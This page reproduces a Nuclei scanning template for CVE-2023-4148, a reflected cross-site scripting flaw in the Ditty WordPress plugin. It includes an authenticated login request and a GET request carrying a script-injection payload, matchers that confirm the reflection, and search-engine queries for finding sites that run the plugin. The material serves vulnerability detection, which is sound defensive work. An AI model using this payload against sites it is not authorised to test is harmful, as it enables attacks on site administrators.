Ditty < 3.1.25 - Cross-Site Scripting

ID: CVE-2023-4148

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,authenticated,metaphorcreations

Description

The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

YAML Source

id: CVE-2023-4148

info:
  name: Ditty < 3.1.25 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  remediation: Fixed in version 3.1.25
  reference:
    - https://wpscan.com/vulnerability/aa39de78-55b3-4237-84db-6fdf6820c58d
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4148
    cwe-id: CWE-79
    epss-score: 0.00071
    epss-percentile: 0.30433
    cpe: cpe:2.3:a:metaphorcreations:ditty:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: metaphorcreations
    product: ditty
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ditty-news-ticker/
    fofa-query: body=/wp-content/plugins/ditty-news-ticker/
    publicwww-query: /wp-content/plugins/ditty-news-ticker/
  tags: cve2023,cve,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,authenticated,metaphorcreations

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=ditty&page=ditty_export&tab=export_ditty&"><script>alert(/XSS/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<script>alert(/XSS/)</script>") && contains(body_2, "ditty")'
          - 'contains(content_type_2, "text/html")'
        condition: and
# digest: 4a0a00473045022100d23afe19ba8dd73c659ea7b108dba4bb726403e825e7e415f7b4503c9ab51033022049377a3510a1c037ca65dc192d27e34b530a850ecc52564a1e32fd99603839d4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4148.yaml"

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